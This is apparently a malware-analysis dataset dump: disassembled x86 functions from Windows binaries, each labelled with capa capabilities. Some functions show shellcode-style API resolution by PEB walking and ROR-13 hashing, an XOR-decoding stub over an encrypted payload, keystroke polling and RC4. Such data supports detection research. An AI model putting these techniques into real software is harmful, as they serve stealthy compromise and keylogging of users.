joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b75a0
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
push 0
push 2
lea ecx, [esi + 0x68]
call fcn.0049a390
test eax, eax
jne 0x4b75bb
mov ecx, esi
pop esi
jmp fcn.004b7500
push 0
push 0x2af80002
push 0x414
push dword [esi + 0x38]
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
ret

Function at 0x4b7d40
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.USER32.dll_SendMessageW]
push esi
push edi
push 0
push 0
push 0x147
push dword [ebx + 0x34]
call ebp
push dword [ebx + 0x34]
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov dword [esp + 0x18], eax
lea ecx, [eax*2 + 2]
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x4b7d92
mov ecx, dword [esp + 0x14]
call fcn.004655d0
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
mov eax, dword [esp + 0x18]
inc eax
push eax
push esi
push dword [ebx + 0x34]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [esp + 0x18], eax
cmp edi, 0xffffffff
je 0x4b7dd1
mov ecx, dword [ebx + 0x34]
test eax, eax
jne 0x4b7dc0
push eax
push edi
push 0x149
push ecx
call ebp
test eax, eax
jmp 0x4b7dcf
push esi
lea eax, [edi - 1]
push eax
push 0x158
push ecx
call ebp
cmp edi, eax
je 0x4b7e0a
push esi
push 0xffffffffffffffff
push 0x158
push dword [ebx + 0x34]
call ebp
mov edi, eax
cmp edi, 0xffffffff
jne 0x4b7e0a
cmp dword [esp + 0x1c], 0
je 0x4b7e0a
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
pop edi
mov dword [eax + 0x14], esi
mov dword [eax], esi
pop esi
pop ebp
mov dword [eax + 8], 0
mov dword [eax + 4], ecx
pop ebx
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [esp + 0x20]
add esp, 4
test eax, eax
je 0x4b7e79
cmp eax, 2
jne 0x4b7e26
test byte [ebx + 0x4d], al
jne 0x4b7e79
push 0
push edi
push 0x149
push dword [ebx + 0x34]
call ebp
cmp eax, 0xffffffff
je 0x4b7e8d
mov esi, dword [esp + 0x14]
push eax
push 0
push esi
call fcn.004a29d0
add esp, 0xc
test eax, eax
je 0x4b7e8d
push dword [esi]
push edi
push 0x148
push dword [ebx + 0x34]
call ebp
cmp eax, 0xffffffff
jne 0x4b7e8d
pop edi
mov dword [esi + 8], 0
mov dword [esi], 0x4f5b70
mov dword [esi + 4], 0
pop esi
pop ebp
pop ebx
ret 0xc
mov ecx, dword [esp + 0x14]
lea eax, [edi + 1]
cdq
mov dword [ecx + 8], 1
mov dword [ecx], eax
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x4b8860
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
push dword [edi + 0x34]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [esp + 0x10]
mov ebx, eax
push ebx
push 0
push esi
call fcn.004a29d0
add esp, 0xc
cmp eax, 1
je 0x4b888f
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
lea eax, [ebx + 1]
push eax
push dword [esi]
push dword [edi + 0x34]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [esi + 4], eax
test eax, eax
je 0x4b88b3
mov ecx, dword [esi]
cmp word [ecx + eax*2 - 2], 0
jne 0x4b88b3
dec eax
mov dword [esi + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret 8
Function at 0x4d92fb
Capabilities:
Delete registry key
Delete registry value

Disassembly:
mov eax, dword [eax + ebp*4]
cmp byte [eax + 0x2198], 0
jne 0x4d9310
call fcn.004ebad3
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov eax, dword fs:[0x2c]
mov eax, dword [eax + ebp*4]
mov eax, dword [eax + 0x29c]
mov eax, dword [eax + 0x84]
or eax, 0x2001f
push eax
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test edi, edi
jne 0x4d93fe
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x4d93e7
push dword [esp + 0x18]
call fcn.004d9bb0
add esp, 4
mov edi, eax
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x4d93fe
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + ebp*4]
cmp byte [eax + 0x2198], 0
jne 0x4d938f
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + ebp*4]
mov eax, dword [edx + 0x29c]
cmp dword [eax + 0x84], 0
je 0x4d93d7
cmp byte [edx + 0x2198], 0
jne 0x4d93b6
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + ebp*4]
push 0
mov eax, dword [eax + 0x29c]
push dword [eax + 0x84]
push ebx
mov ebx, dword [esp + 0x20]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov edi, eax
jmp 0x4d9402
push ebx
mov ebx, dword [esp + 0x18]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, eax
jmp 0x4d9402
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [esp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [esp + 0x14]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + ebp*4]
cmp byte [eax + 0x2198], 0
jne 0x4d9421
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + ebp*4]
mov eax, dword [eax + 0x29c]
mov dword [eax + 0x3c], edi
test edi, edi
je 0x4d943b
push edi
mov ecx, esi
call fcn.0046fe00
jmp 0x4d9485
mov dword [esi + 8], 0
mov dword [esi], 0x4f5b70
mov dword [esi + 4], 0
jmp 0x4d9485
cmp byte [esp + 0x13], 0
je 0x4d9493
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x82c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004ebadf
add esp, 0x820
ret
Function at 0x4d95fc
Capabilities:
Write file on windows

Disassembly:
mov esi, 1
push 0
push eax
call fcn.004e3470
add esp, 0xc
test al, al
jne 0x4d96c1
push 0
push 0
push esi
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4d96be
mov edx, dword [ebp - 0x68]
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x6c], eax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4d9642
sub ecx, dword [ebp - 0x6c]
sar ecx, 1
push 0
lea eax, [ecx*2 + 2]
mov dword [ebp - 0x6c], eax
lea eax, [edx + ecx*2]
mov ecx, 0x5d
mov dword [ebp - 0x7c], eax
mov word [eax], cx
lea eax, [ebp - 0x70]
push eax
push 4
push 0x506cb0
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4d96a7
cmp dword [ebp - 0x70], 4
jne 0x4d96a7
push 0
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4d96a7
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x70], eax
je 0x4d96a9
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
neg eax
sbb eax, eax
and esi, eax
mov eax, dword [ebp - 0x7c]
xor ecx, ecx
mov word [eax], cx
mov ebx, dword [ebp - 0x68]
test esi, esi
je 0x4d9750
mov eax, dword [ebp - 0x74]
cmp word [eax], 0
je 0x4d96e1
lea ecx, [ebp - 0x64]
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x4d973e
mov ecx, dword [ebp - 0x78]
push 0
call fcn.00452c20
lea eax, [eax*2 + 4]
call fcn.004ec520
movzx ecx, word [edi]
mov eax, esp
mov dword [ebp - 0x74], eax
mov edx, eax
test cx, cx
je 0x4d972e
mov esi, ecx
sub edi, eax
nop word [eax + eax]
xor ecx, ecx
movzx eax, si
cmp si, 0xa
cmovne ecx, eax
mov word [edx], cx
add edx, 2
movzx esi, word [edi + edx]
test si, si
jne 0x4d9710
mov eax, dword [ebp - 0x74]
xor ecx, ecx
mov dword [edx], ecx
lea ecx, [ebp - 0x64]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
mov esi, eax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x78]
test esi, esi
push eax
sete al
movzx eax, al
push eax
call fcn.0046d510
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xff9c]
xor ecx, ebp
call fcn.004ebadf
lea esp, [ebp + 0xffa0]
pop ebp
ret 0x10
Function at 0x4d9bb0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x214
mov eax, dword [0x526b24]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea eax, [esp + 0x10]
push esi
push edi
mov edi, dword [esp + 0x228]
push eax
push 0
push 0
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0xff
push eax
lea eax, [esp + 0x34]
push eax
push 0
push edi
call ebp
cmp eax, 0x103
je 0x4d9cb4
mov eax, dword [0x62271c]
lea ebx, [eax*4]
nop
mov ecx, dword fs:[0x2c]
mov eax, dword [ebx + ecx]
cmp byte [eax + 0x2198], 0
jne 0x4d9c2f
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
lea eax, [esp + 0x14]
push eax
mov eax, dword [ebx + ecx]
mov eax, dword [eax + 0x29c]
mov eax, dword [eax + 0x84]
or eax, 0x20019
push eax
push 0
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x4d9ccf
push dword [esp + 0x14]
call fcn.004d9bb0
add esp, 4
mov esi, eax
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4d9ccf
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
test esi, esi
jne 0x4d9ccf
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0xff
push eax
push esi
push esi
push esi
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push esi
push edi
call ebp
cmp eax, 0x103
jne 0x4d9c10
xor eax, eax
mov ecx, dword [esp + 0x220]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004ebadf
add esp, 0x214
ret
mov eax, esi
jmp 0x4d9cb6

Function at 0x4d9ce0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x230
mov eax, dword [0x526b24]
xor eax, esp
mov dword [esp + 0x22c], eax
mov eax, dword [esp + 0x234]
mov ecx, dword [esp + 0x248]
push ebx
mov ebx, dword [esp + 0x23c]
push ebp
mov ebp, dword [esp + 0x24c]
push esi
mov esi, dword [esp + 0x24c]
push edi
mov edi, dword [esp + 0x24c]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], ecx
test edi, edi
jne 0x4d9d3f
push 0x503ab8
mov ecx, eax
call fcn.0046fb40
jmp 0x4da02b
cmp edi, 4
je 0x4d9d59
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x40]
push eax
push ebx
call fcn.004a2e60
add esp, 0xc
jmp 0x4d9d5d
mov eax, dword [esp + 0x30]
mov ecx, dword fs:[0x2c]
Function at 0x4ea980
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c6c
call fcn.004ebaf0
mov eax, dword [0x526b24]
xor eax, esp
mov dword [esp + 0x11c68], eax
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004e8500
mov eax, dword [esi + 8]
mov dword [esp + 0x1848], eax
mov eax, dword [esp + 0x11c74]
mov dword [esp + 0x184c], eax
mov eax, dword [esp + 0x11c78]
mov dword [esp + 0x1850], eax
lea eax, [esp + 4]
push eax
push 0x4eb490
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1838], 0
je 0x4eaab6
mov eax, dword [0x62271c]
mov ecx, dword fs:[0x2c]
lea esi, [eax*4]
mov eax, dword [esi + ecx]
cmp byte [eax + 0x2198], 0
jne 0x4eaa13
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov ecx, dword [esi + ecx]
mov eax, dword [ecx + 0x29c]
cmp dword [eax + 0x64], 0xffffffff
jle 0x4eaab6
cmp byte [ecx + 0x2198], 0
jne 0x4eaa34
call fcn.004ebad3
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword fs:[0x2c]
mov edx, dword [esi + ecx]
cmp dword [edx + 0x250], eax
je 0x4eaa8b
cmp byte [edx + 0x2198], 0
jne 0x4eaa61
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [esi + ecx]
mov eax, dword [eax + 0x29c]
push dword [eax + 0x64]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop esi
mov ecx, dword [esp + 0x11c68]
xor ecx, esp
call fcn.004ebadf
add esp, 0x11c6c
ret 8
cmp byte [edx + 0x2198], 0
jne 0x4eaaa0
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [esi + ecx]
push 1
mov eax, dword [eax + 0x29c]
push dword [eax + 0x64]
call fcn.00415b90
add esp, 8
mov ecx, dword [esp + 0x11c6c]
pop esi
xor ecx, esp
call fcn.004ebadf
add esp, 0x11c6c
ret 8

Function at 0x4eb220
Capabilities:
Enumerate gui resources
Find taskbar

Disassembly:
mov eax, 0x11c6c
call fcn.004ebaf0
mov eax, dword [0x526b24]
xor eax, esp
mov dword [esp + 0x11c68], eax
push ebx
push 0
mov ebx, ecx
call fcn.004eb9a0
test eax, eax
jne 0x4eb25e
pop ebx
mov ecx, dword [esp + 0x11c68]
xor ecx, esp
call fcn.004ebadf
add esp, 0x11c6c
ret 4
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
push 4
push edi
call esi
test eax, eax
je 0x4eb282
push 4
push eax
mov edi, eax
call esi
test eax, eax
jne 0x4eb277
mov eax, dword [0x62271c]
Function at 0x113dcc30
Capabilities:
Encode data using xor

Disassembly:
jmp 0x113dcc3a
pushal
call 0x113dcc40
pop ebp
sub ebp, 0x10
sub ebp, 0x13dcc30
mov al, byte [esp + 0x28]
cmp al, 1
je 0x113dcc64
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x113dcc6d
mov eax, 0x13dcc30
add eax, ebp
add eax, 0x63
mov ecx, 0x5c4
mov edx, 0xb273c3be
xor byte [eax], dl
inc eax
dec ecx
jne 0x113dcc84
jmp 0x113dcc97
xor eax, 0x82373573
mov esi, 0x7f3fbebe
inc esi
mov esi, 0x73bdbebe
push es
mov eax, 0x4bebebe
xchg esi, eax
mov esi, 0x5c49bebe
mov ebp, 0xb23f3576
mov esi, 0x7bbdbebe
out dx, al
xor ebx, edx
lcall 0xc6d6, 0x9aba3742
adc dword [edi - 0x5df62942], ebx
mov byte [0x9a92bfbf], al
salc
nop
pop ecx
mov esi, 0xbebb5628
mov esi, 0xbe9057be
mov esi, 0x5235ebbe
xor eax, 0xbebeb63b
mov esi, 0xbeb22b35
mov esi, 0xae3335be
mov esi, 0x577fbebe
mov esp, 0x7c3dbc8f
mov edx, 0x4a3bb1f7
inc ecx
inc ecx
inc ecx
xor eax, 0xda339a92
lcall 0x3235, 0xbeb27cba
lcall 0xc6d6, 0xbebebeba
adc dword [edi - 0x5df62942], ebx
mov byte [0x9a92bfbf], al
xor ebx, edx
lcall 0xbb56, 0x9ab23742
mov esi, 0xfb57bebe
mov esp, 0x35ebbebe
push edx
inc ecx
retf
Function at 0x403f90
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x403fdd
mov al, cl
cmp al, 0x61
jb 0x403fb8
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x403fdd
mov al, cl
cmp al, 0x61
jb 0x403fd0
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x403fa9
cmp edx, dword [esp + 0x18]
je 0x403fed
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x403fa2
xor eax, eax
jmp 0x403ff0
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x403ff8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x4040df
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x4040e5
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x404044
cmp al, 0x61
jb 0x40403c
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40402f
cmp edx, dword [esp + 0x14]
je 0x404054
dec ecx
jne 0x404024
xor eax, eax
jmp 0x4040df
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x4040df
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x4040df
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x404090
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40409f
jmp 0x404087
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.00403f90
test eax, eax
je 0x4040df
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x4040da
cmp al, 0x61
jb 0x4040d2
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x4040c5
call fcn.00403ff8
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x4040fd
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x4040fd
sub edx, ecx
mov ecx, edx
jmp 0x404054
xor eax, eax
jmp 0x4040df
Function at 0x40b060
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ab09b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049fcd8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b0e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0049db1e
mov eax, dword [eax]
push 0x7c0cb8
push eax
call fcn.0047c5a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049ff63
test bl, bl
je 0x40b0e2
push 0x7c0cb8
lea ecx, [esp + 0xc]
call fcn.004a02f3
push 0x7c0cc4
lea ecx, [esp + 0xc]
call fcn.004a02f3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b11e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049ff63
jmp 0x40b1e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b1a2
lea edx, [esp + 0x7c]
push 0x7c0cc0
push edx
call fcn.0047c5a4
add esp, 8
test eax, eax
je 0x40b1a2
lea eax, [esp + 0x7c]
push 0x7c0cbc
push eax
call fcn.0047c5a4
add esp, 8
test eax, eax
je 0x40b1a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b132
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049ff63
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b9f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40ba52
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40ba60
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ab11b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x7d0580]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40bb98
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40bac6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049ff63
xor eax, eax
jmp 0x40bc0f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004a00a0
push esi
lea ecx, [esp + 0xc]
call fcn.004a032f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40bbed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b9f0
test eax, eax
jne 0x40bbed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b9f0
test eax, eax
jne 0x40bbed
lea eax, [esp + 0x14]
push 0x7c0cd4
push eax
call fcn.0047d640
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bbcc
lea ecx, [esp + 0x14]
push 0x7c0cd0
push ecx
call fcn.0047d5c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bbcc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40bbcf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004a0050
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40bade
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049ff63
xor eax, eax
jmp 0x40bc0f
mov byte [esi], 0
push 0x7c0ccc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0049ff63
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x411eb6
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x411ede
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret
Function at 0x41c590
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41c5fe
cmp si, 0x69
ja 0x41c5fe
add esi, 0xffd0
cmp si, 0x11
je 0x41c5ce
push 0x11
call edi
test ax, ax
jge 0x41c5ce
or esi, 0x2000
cmp si, 0x10
je 0x41c5e3
push 0x10
call edi
test ax, ax
jge 0x41c5e3
or esi, 0x4000
cmp si, 0x12
je 0x41c5f8
push 0x12
call edi
test ax, ax
jge 0x41c5f8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41c60b
mov esi, 0xbd
jmp 0x41c5bf
cmp si, 0x6e
jne 0x41c618
mov esi, 0xbe
jmp 0x41c5bf
cmp si, 0x6f
jne 0x41c5b9
mov esi, 0xbf
jmp 0x41c5bf

Function at 0x41de60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7eabf0]
xor edx, edx
cmp eax, edx
jne 0x41de86
xor eax, eax
mov byte [eax + 0x7eaaf0], al
inc eax
cmp eax, 0x100
jl 0x41de6e
mov dword [0x7eabf0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7eaaf0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41df17
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41deea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41deb8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41df90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41dfe3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
